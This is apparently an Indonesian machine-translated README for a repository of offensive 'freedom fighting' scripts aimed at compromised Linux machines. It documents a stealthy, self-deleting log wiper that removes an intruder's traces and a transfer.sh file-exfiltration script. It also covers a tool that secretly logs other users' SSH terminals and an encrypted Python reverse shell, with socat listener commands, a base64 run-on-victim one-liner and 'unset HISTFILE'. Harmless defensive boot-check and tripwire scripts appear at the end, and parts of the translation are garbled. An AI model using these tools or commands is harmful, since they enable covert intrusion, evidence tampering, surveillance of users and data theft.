Repositori ini berisi skrip yang mungkin berguna selama kegiatan pertempuran kebebasan Anda. Ini akan diperbarui sesekali, ketika saya mendapati diri saya membutuhkan sesuatu yang tidak dapat saya temukan secara online. Segala sesuatu di sini didistribusikan berdasarkan ketentuan lisensi GPL V3.
Kontribusi dan permintaan tarik sangat disambut.
Pembersih log yang menghilangkan entri yang memberatkan di:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(mengontrol output dari who
, w
dan perintah last
)/var/log/lastlog
(mengontrol output dari perintah lastlog
)/var/**/*.log
(.log.1, .log.2.gz, dll. Termasuk) termasuk)Entri dihapus berdasarkan alamat IP dan/atau nama host terkait.
Perawatan khusus diambil untuk menghindari pemecahan deskriptor file sambil merusak log. Ini berarti log terus ditulis setelah mereka dirusak, membuat pembersihan jauh lebih mencolok. Semua pekerjaan terjadi di drive TMPFS dan file apa pun yang dibuat dihapus dengan aman.
PERINGATAN: Skrip hanya diuji di Linux dan tidak akan dapat membersihkan entri UTMP pada rasa UNIX lainnya.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
Secara default, jika tidak ada argumen yang diberikan, skrip akan mencoba menentukan alamat IP untuk menggosok berdasarkan variabel lingkungan SSH_CONNECTION
. Setiap entri yang cocok dengan DN terbalik dari IP itu akan dihapus juga.
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
... akan menghapus semua entri untuk root pengguna di mana alamat IP adalah 151.80.119.32 atau hostame adalah manalyzer.org
. Pengguna juga akan diminta sebelum menghapus setiap catatan karena opsi --check
. Akhirnya, file /etc/app/logs/access.log
akan diproses selain semua yang default.
Jika folder diberikan sebagai argumen posisi ( /etc/app/logs/
misalnya), skrip akan merayap secara rekursif dan membersihkan file apa pun dengan ekstensi .log
( *.log.1, *.log.2.gz, dll termasuk).
Anda mungkin ingin menghapus garis sewenang -wenang dari file log juga. Untuk melakukannya, gunakan opsi --regexp
. Misalnya, baris perintah berikut akan mencari semua permintaan posting ke file PHP dari IP yang ditentukan:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
Dengan asumsi ini dijalankan dari hubungan SSH, perintah ini akan menghapus semua log yang berkaitan dengan aktivitas pengguna saat ini dengan alamat IP yang terdeteksi dan nama host tepat setelah hubungan ditutup. Skrip ini selanjutnya akan secara otomatis menghapus dirinya sendiri. Harap diingat bahwa Anda tidak akan memiliki kesempatan untuk menerima pesan kesalahan dari aplikasi. Anda didorong untuk mencoba menghapus log sekali sebelum memunculkan iblis untuk memastikan bahwa argumen yang Anda tentukan benar. Jika Anda berada di shell tanpa TTY, skrip tidak akan dapat mendeteksi kapan sesi berakhir. Anda akan diberi tahu bahwa log akan dihapus dalam 60 detik, dan bahwa Anda harus keluar sebelum itu (atau berisiko membuat lebih banyak entri setelah skrip berjalan).
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
Skrip ini disediakan tanpa jaminan. Jangan salahkan saya, itu tidak menghapus semua jejak sesuatu yang seharusnya tidak Anda lakukan.
Skrip berbagi file portabel dan aman. Sementara kebebasan bertarung, umumnya tidak mungkin untuk membuat file SCP ke mesin yang dikompromikan. Diperlukan cara -cara alternatif untuk mengunggah file, tetapi sebagian besar layanan berbagi terlalu ketat atau tidak memberikan cara untuk mengambil file dengan mudah dari baris perintah. Pertimbangan keamanan juga dapat mencegah orang dari mengunggah file sensitif ke penyedia cloud karena takut mereka akan menyimpan salinannya selamanya.
Skrip bash kecil dan portabel ini bergantung pada transfer.sh untuk menyelesaikan masalah itu. Dia...
torify
jika ada pada sistem untuk meningkatkan anonimitas. Satu -satunya dependensi yang diperlukan adalah openssl
dan baik curl
atau wget
.
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
Argumen tambahan selama unggahan memungkinkan Anda untuk mengontrol jumlah unduhan maksimum yang diizinkan untuk file ( -m
) dan berapa hari transfer.sh akan menyimpannya ( -d
). Nilai default untuk kedua opsi ini adalah 1.
PERINGATAN : Jangan gunakan spasi di kunci enkripsi, atau hanya kata pertama dari frasa sandi Anda yang akan diperhitungkan. Ini karena cara getopts
menangani argumen (saya pikir). Permintaan tarik dipersilakan jika ada yang tertarik untuk memperbaiki ini.
Autojack adalah skrip pendek yang memanfaatkan shelljack empymonkey untuk mencatat terminal pengguna mana pun yang menghubungkan melalui SSH. Ini menonton auth.log
untuk koneksi yang sukses, mencari tahu PID proses bash
pengguna, dan meninggalkan sisanya ke shelljack
.
Luncurkan di layar , dan tunggu sampai pengguna lain masuk. Sesi mereka akan dicatat ke /root/.local/sj.log.[user].[timestamp]
.
Script tidak terlalu tersembunyi (tidak ada upaya yang dilakukan untuk menyembunyikan proses shelljack
) tetapi akan menyelesaikan pekerjaan. Perhatikan bahwa untuk menghindari tuduhan diri sendiri, pengguna root
tidak ditargetkan (ini dapat dikomentari secara sepele dalam kode).
ListUrl adalah crawler situs web multi-threaded yang memperoleh daftar halaman yang tersedia dari target. Skrip ini berguna untuk pemburu bug-bounty yang mencoba membangun permukaan serangan aplikasi web.
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
Berikut adalah output sampel untuk situs web kecil:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
Opsi --exclude-regexp
dan --show-regexp
digunakan untuk mengontrol URL mana yang harus ditampilkan atau diabaikan. Misalnya, dalam contoh di atas, Anda mungkin ingin mengabaikan halaman yang cenderung sangat mirip:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
Perhatikan bahwa URL yang cocok tidak akan dirangkak. Ini sangat berguna ketika skrip hilang di halaman komentar yang dalam atau konten berulang. Bergantian, Anda mungkin hanya tertarik pada skrip PHP: ./listurl.py --show-regexp ".php$"
.
Secara default, crawler hanya mencapai 3 level. Ini adalah sesuatu yang dapat Anda kendalikan dengan opsi --max-depth
.
Pertimbangan lain adalah apakah URL yang menunjuk ke domain eksternal harus diikuti. Secara default, skrip tidak, tetapi Anda dapat mengaktifkan ini dengan mengatur sakelar --external
. Jika Anda tidak tertarik pada domain eksternal acak tetapi masih ingin memperluas perayapan ke subdomain, Anda dapat mengatur sakelar --subdomains
:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
Perhatikan bahwa jika skrip memakan waktu terlalu lama, Anda dapat menekan Ctrl+C kapan saja untuk mematikannya. Anda kemudian akan ditunjukkan halaman yang ditemukan sejauh ini.
Jika Anda perlu mengakses halaman yang terotentikasi di situs web, Anda dapat memberikan cookie untuk listurl.py dari baris perintah dengan opsi --cookie
.
Akhirnya, jika Anda sedang mengerjakan situs web yang memiliki sertifikat SSL yang tidak valid atau ditandatangani sendiri, gunakan opsi --no-certificate-check
untuk mengabaikan kesalahan SSL.
ersh
adalah cangkang terbalik terenkripsi yang ditulis dalam ular surut murni. Pernah berada di kotak tanpa utilitas standar atau alat kompilasi, dan tidak ada cara mudah untuk mengunggah binari? Apakah Anda takut daripada IDS akan melihat cangkang keluar? Secara tidak sengaja menutup pendengar netcat Anda karena Anda menekan ^C
? Tidak ada lagi.
ersh
menawarkan fitur -fitur berikut:
Untuk diskusi yang lebih rinci tentang bagaimana alat ini terjadi, silakan merujuk ke posting blog ini.
Skrip ini perlu diedit sebelum berfungsi! Cari penanda ini di dekat awal:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
HOST
dan PORT
jelas, tetapi Anda mungkin memerlukan bantuan tambahan untuk sertifikat SSL. Namun tidak ada yang ingin melawan klien OpenSSL, jadi Anda bisa menggunakan satu kalimat berikut:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
Itu saja! Anda sekarang harus memiliki lima file baru di folder Anda saat ini: server.(crt|key|pem)
dan client.(crt|key)
. Beberapa dari mereka perlu dimasukkan ke dalam skrip sehingga cangkang terbalik dan pendengar dapat mengotentikasi satu sama lain. Secara khusus:
client_key
harus berisi konten client.key
.client_crt
harus berisi konten client.crt
.server_crt
harus berisi konten server.crt
.Itu saja, tidak ada lagi pengeditan yang diperlukan.
Mempertimbangkan bahwa negosiasi TLS penuh akan dilanjutkan, pendengar nc
tradisional tidak akan cukup di sini. socat
telah dipilih untuk tugas ini, karena kemampuannya untuk menangani enkripsi dan TTYS. Pada distribusi yang berbasis di Debian, Anda harus dapat memperolehnya dengan hanya menjalankan sudo apt-get install socat
.
Dengan asumsi Anda masih berada di folder tempat Anda menghasilkan kunci dan sertifikat, dan Anda ingin mendengarkan di port 443, berikut adalah baris perintah yang harus Anda jalankan di mesin di mana cangkang terbalik akan tiba:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Anda tidak perlu menyalin skrip ke mesin jarak jauh agar berfungsi. Berikut adalah cara sederhana untuk menjalankannya dari cangkang non-interaktif. Salin seluruh skrip ke clipboard Anda dan jalankan perintah berikut pada korban:
python - <<'EOF'
[paste script contents here]
'EOF'
Jika Anda mencoba meluncurkan ersh.py
dari lingkungan yang tidak mendukung banyak baris (seperti weevely), Anda juga dapat mencoba menghasilkan satu garis seperti ini:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
Di mesin penerima:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Pada korban:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
Dan di penerima lagi:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
Naskah ini ditulis untuk mendeteksi serangan pelayan jahat. Ia melakukannya dengan memeriksa pada waktu boot jika hard drive dihidupkan tetapi bukan OS (misalnya, jika dikeluarkan dari komputer untuk salinannya, atau jika seseorang mencoba mem -boot mesin tetapi dihentikan oleh kata sandi FDE ).
Anda perlu memastikan skrip ini akan berjalan di setiap boot. Instruksi berikut akan bekerja pada distribusi menggunakan SystemD.
/etc/systemd/system/
. Perbaiki jalur di dalamnya sesuai kebutuhan. Script akan berjalan sebagai root jadi pastikan itu tidak dapat ditulis oleh dunia!#> systemctl enable boot_check.service
Instal dependensi:
#> apt install smartmontools dialog
Jalankan skrip sekali sehingga ia menginisialisasi:
#> ./boot_check.py
Jika pesan konfirmasi muncul, Anda siap melakukannya.
Jika Anda ingin memastikan bahwa skrip berfungsi, pastikan Anda melakukan hal berikut:
Skrip ini dibuat untuk memberikan cara sederhana untuk "booby-trap" yang dapat dieksekusi tertentu pada sistem Linux. Idenya adalah untuk mendeteksi penyusup ketika mereka menggunakan binari tertentu ( id
, whoami
, gcc
) di server yang tidak mereka miliki.
Untuk melindungi binari-biner itu, notify_hook.py
Buat tautan simbolis ke skrip ini lebih tinggi di PATH
. notify_hook
kemudian akan mengirimkan peringatan dan hubungi program yang dimaksud dengan cara yang transparan. Misalnya, jika Anda ingin "melindungi" id
, cukup buat symlink berikut di mesin Anda:
ln -s path/to/notify_hook.py /usr/local/bin/id
... dan semua panggilan masa depan untuk id
harus dialihkan melalui skrip ini. Ini jelas bukan cara yang sangat mudah untuk mendeteksi peretas di sistem Anda, tetapi tetap saja harus menangkap penyusup yang paling ceroboh.
Beberapa program dan skrip pada sistem Anda dapat secara teratur memohon beberapa binari yang ingin Anda lindungi. Dalam hal ini, Anda dapat mengedit variabel yang disebut CALLER_WHITELIST
ditempatkan di awal skrip. Masukkan nama proses tersebut dalam daftar untuk menonaktifkan peringatan dari mereka (ekspresi reguler diterima).
Metode pemberitahuan saat ini yang diimplementasikan dalam skrip ini adalah pesan teks yang dikirim dengan sinyal dengan sinyal-cli ASAMK. Anda harus menginstal proyek ini secara terpisah jika Anda ingin menggunakannya, atau, lebih mungkin, ganti fungsi notify_callback
yang ditempatkan di atas notify_hook.py
dengan apa pun yang sesuai dengan kebutuhan Anda.